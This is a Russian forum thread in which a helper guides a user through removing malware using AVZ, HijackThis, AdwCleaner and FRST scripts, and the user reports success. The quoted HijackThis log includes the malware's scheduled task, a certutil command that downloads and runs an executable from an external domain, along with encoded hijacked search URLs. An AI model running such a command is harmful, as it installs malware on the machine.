[решено] Нужна помощь

akok · Отправлено: **19:08, 21-05-2018** | #2

Нахватали.

Закройте все программы, временно выгрузите антивирус, файрволл и прочее защитное ПО.

Выполните скрипт в АВЗ (Файл - Выполнить скрипт):

Код:

 begin
ExecuteFile('net.exe', 'stop tcpip /y', 0, 15000, true);
if not IsWOW64
 then
  begin
  SearchRootkit(true, true);
  SetAVZGuardStatus(True);
  end;
 SetServiceStart('Nettrans', 4);
 SetServiceStart('TCPSvc', 4);
 SetServiceStart('Voyasollam', 4);
 SetServiceStart('WinDefender', 4);
 QuarantineFileF('c:\windows\rss\', '*.exe, *.dll, *.sys, *.bat, *.vbs, *.ps1, *.js*, *.tmp*', true, '', 0, 0);
 QuarantineFile('C:\PROGRA~2\FASTDA~1\FASTDA~1.EXE', '');
 QuarantineFile('C:\Program Files (x86)\DayByDay\6787991.exe', '');
 QuarantineFile('C:\Program Files (x86)\EPVqpVJyVSWU2\kLdzDpguWOneJ.dll', '');
 QuarantineFile('C:\Program Files (x86)\JAcqddADqIE\g66RRRr.dll', '');
 QuarantineFile('C:\Program Files (x86)\JAcqddADqIE\k8O3geHP3.dll', '');
 QuarantineFile('c:\program files (x86)\jacqddadqie\qssvqsgsqj.exe', '');
 QuarantineFile('C:\Program Files (x86)\KCGHGVOnU\LzpuOe.dll', '');
 QuarantineFile('C:\Program Files (x86)\VfXyqasRzlGpJFtgwyR\zrFuZkI.dll', '');
 QuarantineFile('C:\Program Files\TTK0EM7F5D\TTK0EM7F5.exe', '');
 QuarantineFile('C:\ProgramData\PrefsSecure\Nettrans.exe', '');
 QuarantineFile('C:\ProgramData\Voyasollam\Voyasollam.exe', '');
 QuarantineFile('c:\users\777\appdata\local\temp\csrss\cloudnet.exe', '');
 QuarantineFile('c:\users\777\appdata\local\temp\csrss\proxy\tor\tor.exe', '');
 QuarantineFile('C:\Users\777\AppData\Local\Temp\csrss\scheduled.exe', '');
 QuarantineFile('C:\Users\777\AppData\Roaming\EpicNet Inc\CloudNet\cloudnet.exe', '');
 QuarantineFile('C:\Users\777\AppData\Roaming\zcjri\ozsnk.vbs', '');
 QuarantineFile('c:\windows\rss\csrss.exe', '');
 QuarantineFile('c:\windows\windefender.exe', '');
 DeleteFile('C:\Program Files (x86)\DayByDay\6787991.exe', '32');
 DeleteFile('C:\Program Files (x86)\EPVqpVJyVSWU2\kLdzDpguWOneJ.dll', '32');
 DeleteFile('C:\Program Files (x86)\JAcqddADqIE\g66RRRr.dll', '32');
 DeleteFile('C:\Program Files (x86)\JAcqddADqIE\k8O3geHP3.dll', '32');
 DeleteFile('c:\program files (x86)\jacqddadqie\qssvqsgsqj.exe', '32');
 DeleteFile('C:\Program Files (x86)\KCGHGVOnU\LzpuOe.dll', '32');
 DeleteFile('C:\Program Files (x86)\SvnSzzIscGyUC\WTJfUEt.dll', '32');
 DeleteFile('C:\Program Files (x86)\VfXyqasRzlGpJFtgwyR\zrFuZkI.dll', '32');
 DeleteFile('C:\Program Files\TTK0EM7F5D\TTK0EM7F5.exe', '32');
 DeleteFile('C:\ProgramData\PrefsSecure\Nettrans.exe', '32');
 DeleteFile('C:\ProgramData\Voyasollam\Voyasollam.exe', '32');
 DeleteFile('c:\users\777\appdata\local\temp\csrss\cloudnet.exe', '32');
 DeleteFile('C:\Users\777\AppData\Local\Temp\csrss\proxy\Tor\tor.exe', '32');
 DeleteFile('C:\Users\777\AppData\Local\Temp\csrss\scheduled.exe', '32');
 DeleteFile('C:\Users\777\appdata\roaming\epicnet inc\cloudnet\cloudnet.exe', '32');
 DeleteFile('C:\Users\777\AppData\Roaming\vqwqrlmiera\cw5fttprixn.exe', '32');
 DeleteFile('C:\Users\777\AppData\Roaming\zcjri\ozsnk.vbs', '32');
 DeleteFile('C:\Windows\rss\csrss.exe', '32');
 DeleteFile('C:\Windows\system32\Tasks\csrss', '64');
 DeleteFile('C:\Windows\system32\Tasks\jbDyCmJOWCzWzi', '64');
 DeleteFile('C:\Windows\system32\Tasks\ozsnk', '64');
 DeleteFile('C:\Windows\system32\Tasks\RuvZlWnxKNkmGuM2', '64');
 DeleteFile('C:\Windows\system32\Tasks\ScheduledUpdate', '64');
 DeleteFile('C:\Windows\system32\Tasks\TUZwhpCbnzWcBoUhWSI2', '64');
 DeleteFile('C:\Windows\system32\Tasks\wAJDAAZgOBCdyQgsK2', '64');
 DeleteFile('C:\Windows\windefender.exe', '32');
 DeleteFile('C:\PROGRA~2\FASTDA~1\FASTDA~1.EXE','32');
 DeleteFile('C:\Windows\system32\Tasks\FastDataX Task','64');
 DeleteService('Nettrans');
 DeleteService('TCPSvc');
 DeleteService('Voyasollam');
 DelBHO('{C0D38E5A-7CF8-4105-8FE8-31B81443A114}');
 RegKeyParamDel('HKEY_CURRENT_USER', 'Software\Microsoft\Windows\CurrentVersion\Run', '7293625');
 RegKeyParamDel('HKEY_CURRENT_USER', 'Software\Microsoft\Windows\CurrentVersion\Run', 'CloudNet');
 RegKeyParamDel('HKEY_CURRENT_USER', 'Software\Microsoft\Windows\CurrentVersion\Run', 'CrimsonMorning');
 RegKeyParamDel('HKEY_CURRENT_USER', 'Software\Microsoft\Windows\CurrentVersion\Run', 'NEDLMC32E48914Z');
 RegKeyParamDel('HKEY_LOCAL_MACHINE', 'Software\Microsoft\Windows\CurrentVersion\RunOnce', 'ez1jxpzcudr');
 ExecuteRepair(3);     
 ExecuteRepair(4);
  BC_Activate;
  ExecuteSysClean;
  ExecuteWizard('SCU', 2, 3, true);
 BC_ImportALL;
RebootWindows(true);
end.

Компьютер перезагрузится. После перезагрузки, выполните такой скрипт:

Код:

begin
CreateQurantineArchive(GetAVZDirectory+'quarantine.zip'); 
end.

Файл quarantine.zip из папки с распакованной утилитой AVZ отправьте с помощью этой формы или (если размер архива превышает 8 MB) на этот почтовый ящик: quarantine <at> safezone.cc (замените <at> на @) с указанием ссылки на тему в теме (заголовке) сообщения и с указанием пароля: virus в теле письма.

"Пофиксите" в HijackThis (некоторые строки могут отсутствовать):

Код:

R0 - HKCU\Software\Microsoft\Internet Explorer\Main: [Search Bar] = https://%66%65%65%64.%73%6F%6E%69%63-%73%65%61%72%63%68.%63%6F%6D/?p=mKO_AwFzXIpYRaHdGKBRHOjYN9_5EdL7qPpMxlVOCDRhYvqM9u5yXnVMZQOhtv14ZumwTT_Q3V_lBLxhPsLqIhTNIWoFobORIh78ebsLAAvJbMPDcCHpNUAoXf1etnknRkjELTfSd1ICiv2_FAR24p7sz9bYtQRDLuU6jDeh-AIZBBnKOjveEyGHXDDdVp6
R0 - HKCU\Software\Microsoft\Internet Explorer\Main: [Search Page] = https://%66%65%65%64.%73%6F%6E%69%63-%73%65%61%72%63%68.%63%6F%6D/?p=mKO_AwFzXIpYRaHdGKBRHOjYN9_5EdL7qPpMxlVOCDRhYvqM9u5yXnVMZQOhtv14ZumwTT_Q3V_lBLxhPsLqIhTNIWoFobORIh78ebsLAAvJbMPDcCHpNUAoXf1etnknRkjELTfSd1ICiv2_FAR24p7sz9bYtQRDLuU6jDeh-AIZBBnKOjveEyGHXDDdVp6
R0 - HKCU\Software\Microsoft\Internet Explorer\Main: [Start Page] = https://%66%65%65%64.%68%65%6C%70%65%72%62%61%72.%63%6F%6D/?p=mKO_AwFzXIpYRaHdGKBRHOjYN9_5EdL7qPpMxlVOCDRhYvqM9u5yXnVMZQOhtv14ZumwTT_Q3V_lBLxhPsLqIhTNIWoFobORIh78ebsLAAvJbMPDcCHlsMMN8buNs4WWWYFmbtFw5E-x4MJ55Km8rKJhp3gmj53LLZLtFsZuczC9ErBFJ2m5sYQKXbeFCM4IXKS7t1
R0 - HKCU\Software\Microsoft\Internet Explorer\Search: [Default_Search_URL] = https://%66%65%65%64.%73%6F%6E%69%63-%73%65%61%72%63%68.%63%6F%6D/?p=mKO_AwFzXIpYRaHdGKBRHOjYN9_5EdL7qPpMxlVOCDRhYvqM9u5yXnVMZQOhtv14ZumwTT_Q3V_lBLxhPsLqIhTNIWoFobORIh78ebsLAAvJbMPDcCHpNUAoXf1etnknRkjELTfSd1ICiv2_FAR24p7sz9bYtQRDLuU6jDeh-AIZBBnKOjveEyGHXDDdVp6
R1 - HKCU\Software\Microsoft\Internet Explorer\Main: [SearchAssistant] = https://%66%65%65%64.%73%6F%6E%69%63-%73%65%61%72%63%68.%63%6F%6D/?p=mKO_AwFzXIpYRaHdGKBRHOjYN9_5EdL7qPpMxlVOCDRhYvqM9u5yXnVMZQOhtv14ZumwTT_Q3V_lBLxhPsLqIhTNIWoFobORIh78ebsLAAvJbMPDcCHpNUAoXf1etnknRkjELTfSd1ICiv2_FAR24p7sz9bYtQRDLuU6jDeh-AIZBBnKOjveEyGHXDDdVp6uAMt9CelOLZKhng,,&q={searchTerms}
R4 - SearchScopes: HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{ielnksrch} [url] = https://%66%65%65%64.%73%6F%6E%69%63-%73%65%61%72%63%68.%63%6F%6D/?p=mKO_AwFzXIpYRaHdGKBRHOjYN9_5EdL7qPpMxlVOCDRhYvqM9u5yXnVMZQOhtv14ZumwTT_Q3V_lBLxhPsLqIhTNIWoFobORIh78ebsLAAvJbMPDcCHpNUAoXf1etnknRkjELTfSd1ICiv2_FAR24p7sz9bYtQRDLuU6jDeh-AIZBBnKOjveEyGHXDDdVp6uAMt9CelOLZKhng,,&q={searchTerms} - Search the web
O2-32 - HKLM\..\BHO: (no name) - {2e32cfe5-df92-4ae5-b0be-609ed0df74a6} - (no file)
O3 - HKLM\..\Toolbar: (no name) - {318A227B-5E9F-45bd-8999-7F8F10CA4CF5} - (no file)
O4 - HKCU\..\Run: [NEDLMC32E48914Z] = C:\Program Files\TTK0EM7F5D\TTK0EM7F5.exe
O4 - HKLM\..\RunOnce: [ez1jxpzcudr] = C:\Program Files (x86)\DayByDay\6787991.exe 1 3.1526897736.5b029c48bfeb0
O22 - Task: ScheduledUpdate - C:\Windows\system32\cmd.exe /C certutil.exe -urlcache -split -f http://dp.fastandcoolest.com/app/3/app.exe C:\Users\777\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\777\AppData\Local\Temp\csrss\scheduled.exe /31340
O22 - Task: SidebarExecute - C:\Program Files\Windows Sidebar\sidebar.exe "C:\Users\777\AppData\Local\Opera\Opera\temporary_downloads\autoshutdown_sevengadgets.ru.zip"
O22 - Task: jbDyCmJOWCzWzi - C:\Windows\system32\rundll32.exe "C:\Program Files (x86)\EPVqpVJyVSWU2\kLdzDpguWOneJ.dll",#1
O22 - Task: ozsnk - C:\Users\777\AppData\Roaming\zcjri\ozsnk.vbs
O22 - Task: wAJDAAZgOBCdyQgsK2 - C:\Windows\system32\rundll32.exe "C:\Program Files (x86)\VfXyqasRzlGpJFtgwyR\zrFuZkI.dll",#1

- Перетащите лог Check_Browsers_LNK.log на утилиту ClearLNK. Отчёт о работе прикрепите.

Скачайте AdwCleaner и сохраните его на Рабочем столе.
Запустите его (в ОС Vista/Windows 7, 8, 8.1, 10 необходимо запускать через правую кн. мыши от имени администратора), нажмите кнопку "Scan" ("Сканировать") и дождитесь окончания сканирования.
Когда сканирование будет завершено, отчет будет сохранен в следующем расположении: C:\AdwCleaner\AdwCleaner[S0].txt.
Прикрепите отчет к своему следующему сообщению.

Подробнее читайте в этом руководстве.

CtulhuTheMonster · Отправлено: **20:25, 21-05-2018** | #3

Архив отправить не получилось, через почту блокирует отправку из-за вируса. По форме не получится, т.к. 15мб архив.

CtulhuTheMonster · CollectionLog-2018.05.21-21.29.zip

Да и что-то мне подсказывает, это лишним не будет

akok · Отправлено: **16:09, 22-05-2018** | #5

Не будет лишним

Запустите повторно AdwCleaner (в ОС Vista/Windows 7, 8, 8.1, 10 необходимо запускать через правую кн. мыши от имени администратора), нажмите кнопку "Scan" ("Сканировать"), а по окончании сканирования нажмите кнопку "Cleaning" ("Очистка") и дождитесь окончания удаления.
Когда удаление будет завершено, отчет будет сохранен в следующем расположении: C:\AdwCleaner\AdwCleaner[C0].txt.
Прикрепите отчет к своему следующему сообщению

Внимание: Для успешного удаления нужна перезагрузка компьютера!!!.

Подробнее читайте в этом руководстве.

Скачайте Farbar Recovery Scan Tool и сохраните на Рабочем столе.

Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.
Запустите программу. Когда программа запустится, нажмите Yes для соглашения с предупреждением.
Отметьте галочкой также "Shortcut.txt".

Нажмите кнопку Scan.
После окончания сканирования будут созданы отчеты FRST.txt, Addition.txt, Shortcut.txt в той же папке, откуда была запущена программа. Прикрепите отчеты к своему следующему сообщению.
Подробнее читайте в этом руководстве.

CtulhuTheMonster · Отправлено: **19:09, 22-05-2018** | #6

Вот

akok · Отправлено: **21:27, 22-05-2018** | #7

Chrome необходимо переустановить.

Отключите до перезагрузки антивирус.

Выделите следующий код:

Код:

Start::
CreateRestorePoint:
HKU\S-1-5-21-3106669818-2837810392-2497721357-1000\...\MountPoints2: F - F:\HTC_Sync_Manager_PC.exe
HKU\S-1-5-21-3106669818-2837810392-2497721357-1000\...\MountPoints2: {0361f8c8-1feb-11e5-8a44-bc5ff45bf5bc} - F:\HTC_Sync_Manager_PC.exe
HKU\S-1-5-21-3106669818-2837810392-2497721357-1000\...\MountPoints2: {35e670e4-04f5-11e3-bf2e-d48124610c42} - H:\HTC_Sync_Manager_PC.exe
HKU\S-1-5-21-3106669818-2837810392-2497721357-1000\...\MountPoints2: {370ffd16-23ba-11e5-b674-bc5ff45bf5bc} - F:\HTC_Sync_Manager_PC.exe
HKU\S-1-5-21-3106669818-2837810392-2497721357-1000\...\MountPoints2: {3f97ed44-355d-11e5-b717-bc5ff45bf5bc} - F:\HTC_Sync_Manager_PC.exe
HKU\S-1-5-21-3106669818-2837810392-2497721357-1000\...\MountPoints2: {3f97ed8a-355d-11e5-b717-bc5ff45bf5bc} - F:\HTC_Sync_Manager_PC.exe
HKU\S-1-5-21-3106669818-2837810392-2497721357-1000\...\MountPoints2: {5e6d0f4d-4c4b-11e2-8b21-806e6f6e6963} - E:\ASRSetup.exe
HKU\S-1-5-21-3106669818-2837810392-2497721357-1000\...\MountPoints2: {7230e32a-0655-11e3-b66a-890f3d003943} - H:\HTC_Sync_Manager_PC.exe
HKU\S-1-5-21-3106669818-2837810392-2497721357-1000\...\MountPoints2: {75572a7a-1239-11e4-ae9a-bc5ff45bf5bc} - F:\HTC_Sync_Manager_PC.exe
HKU\S-1-5-21-3106669818-2837810392-2497721357-1000\...\MountPoints2: {75572ac9-1239-11e4-ae9a-bc5ff45bf5bc} - F:\HTC_Sync_Manager_PC.exe
HKU\S-1-5-21-3106669818-2837810392-2497721357-1000\...\MountPoints2: {8579e798-4d3f-11e3-87d6-e98517bf4342} - F:\HTC_Sync_Manager_PC.exe
HKU\S-1-5-21-3106669818-2837810392-2497721357-1000\...\MountPoints2: {85d94462-4b91-11e3-8663-863797962743} - F:\HTC_Sync_Manager_PC.exe
HKU\S-1-5-21-3106669818-2837810392-2497721357-1000\...\MountPoints2: {901f47c5-5804-11e4-86b7-bc5ff45bf5bc} - F:\HTC_Sync_Manager_PC.exe
HKU\S-1-5-21-3106669818-2837810392-2497721357-1000\...\MountPoints2: {b103756a-3835-11e5-8ad7-bc5ff45bf5bc} - F:\HTC_Sync_Manager_PC.exe
HKU\S-1-5-21-3106669818-2837810392-2497721357-1000\...\MountPoints2: {b59d5b41-2251-11e5-b64e-bc5ff45bf5bc} - F:\AutoRun.exe
HKU\S-1-5-21-3106669818-2837810392-2497721357-1000\...\MountPoints2: {d9776601-0575-11e3-b3d2-d5a01e20a042} - H:\HTC_Sync_Manager_PC.exe
AppInit_DLLs: C:\ProgramData\Voyasollam\InchDom.dll => No File
AppInit_DLLs-x32: C:\ProgramData\Voyasollam\Lexiity.dll => No File
ShellExecuteHooks: No Name - {BFD98515-CD74-48A4-98E2-13D209E3EE4F} - C:\Windows\system32\mcicda64.dll -> No File
CHR res: Infected resources.pak (Adware script). Reinstall Chrome. <==== ATTENTION
2018-05-21 15:12 - 2018-05-21 21:03 - 000000000 ____D C:\Users\777\AppData\Roaming\vqwqrlmiera
2018-05-21 15:12 - 2018-05-21 21:03 - 000000000 ____D C:\Program Files (x86)\VfXyqasRzlGpJFtgwyR
2018-05-21 15:12 - 2018-05-21 21:03 - 000000000 ____D C:\Program Files (x86)\SvnSzzIscGyUC
2018-05-21 15:12 - 2018-05-21 21:03 - 000000000 ____D C:\Program Files (x86)\KCGHGVOnU
2018-05-21 15:12 - 2018-05-21 21:03 - 000000000 ____D C:\Program Files (x86)\JAcqddADqIE
2018-05-21 15:12 - 2018-05-21 21:03 - 000000000 ____D C:\Program Files (x86)\EPVqpVJyVSWU2
2018-05-21 15:12 - 2018-05-21 15:12 - 000000000 ____D C:\Program Files\TTK0EM7F5D
2018-05-21 14:13 - 2018-05-21 14:13 - 000000000 ____D C:\Users\777\AppData\Roaming\zcjri
ShellIconOverlayIdentifiers: [00avast] -> {472083B0-C522-11CF-8763-00608CC02F24} =>  -> No File
ShellIconOverlayIdentifiers: [{BFD98515-CD74-48A4-98E2-13D209E3EE4F}] -> {BFD98515-CD74-48A4-98E2-13D209E3EE4F} => C:\Windows\system32\mcicda64.dll -> No File
ContextMenuHandlers3: [00avast] -> {472083B0-C522-11CF-8763-00608CC02F24} =>  -> No File
Task: {003318BF-2846-4AD7-A91C-1C812D263F69} - \ozsnk -> No File <==== ATTENTION
Task: {2E58F6A5-3E22-4A55-83FE-1659A172FAC0} - \jbDyCmJOWCzWzi -> No File <==== ATTENTION
Task: {3335F6CF-9FB4-4D38-9E19-AF8399CCAEB7} - \wAJDAAZgOBCdyQgsK2 -> No File <==== ATTENTION
Task: {522810DE-966F-4FF9-ADE6-B091B1F0F52D} - \csrss -> No File <==== ATTENTION
Task: {7491A4E6-BA54-457B-97AB-0811549924D5} - \RuvZlWnxKNkmGuM2 -> No File <==== ATTENTION
Task: {C73FFBD5-FF25-45CA-B3FD-DDCDD3B2DC16} - \TUZwhpCbnzWcBoUhWSI2 -> No File <==== ATTENTION
AlternateDataStreams: C:\Program Files\Common Files\System:A6bvtkbhjqDzMMRGzL [2222]
AlternateDataStreams: C:\Users\777\Cookies:gPLpJ5iIwhDIJ7cYRiRCz [2278]
AlternateDataStreams: C:\Users\777\Documents:{2C848322-7882-41E2-AFF6-B060B946FEE9}3 [26]
AlternateDataStreams: C:\Users\777\Мои документы:{2C848322-7882-41E2-AFF6-B060B946FEE9}3 [26]
AlternateDataStreams: C:\ProgramData\Microsoft:00dlLJhienE3xrIzT2WdmKd [2360]
AlternateDataStreams: C:\ProgramData\Microsoft:2gceTMcuk2iDZAo0wgSe95GS [2168]
AlternateDataStreams: C:\ProgramData\TEMP:24C8262A [121]
AlternateDataStreams: C:\ProgramData\TEMP:56E2E879 [116]
AlternateDataStreams: C:\ProgramData\TEMP:5B975772 [135]
AlternateDataStreams: C:\ProgramData\TEMP:DDF13E9F [122]
AlternateDataStreams: C:\Users\Public\AppData:CSM [478]
AlternateDataStreams: C:\Users\Все пользователи\Microsoft:00dlLJhienE3xrIzT2WdmKd [2360]
AlternateDataStreams: C:\Users\Все пользователи\Microsoft:2gceTMcuk2iDZAo0wgSe95GS [2168]
AlternateDataStreams: C:\Users\Все пользователи\TEMP:24C8262A [121]
AlternateDataStreams: C:\Users\Все пользователи\TEMP:56E2E879 [116]
AlternateDataStreams: C:\Users\Все пользователи\TEMP:5B975772 [135]
AlternateDataStreams: C:\Users\Все пользователи\TEMP:DDF13E9F [122]
EmptyTemp:
Reboot:
End::

Скопируйте выделенный текст (правой кнопкой - Копировать).
Запустите FRST (FRST64) от имени администратора.
Нажмите Fix и подождите. Программа создаст лог-файл (Fixlog.txt). Прикрепите его к своему следующему сообщению.

Компьютер будет перезагружен автоматически.

Подробнее читайте в этом руководстве.

CtulhuTheMonster · Отправлено: **09:16, 23-05-2018** | #8

Компьютер почему-то стал с таким окном запускаться еще.

akok · Отправлено: **11:55, 23-05-2018** | #9

Цитата CtulhuTheMonster:

Компьютер почему-то стал с таким окном запускаться еще. »

Это тоже допустимо для Win7. Что с проблемами?

CtulhuTheMonster · Отправлено: **01:23, 24-05-2018** | #10

В принципе, вроде больше ничего не осталось.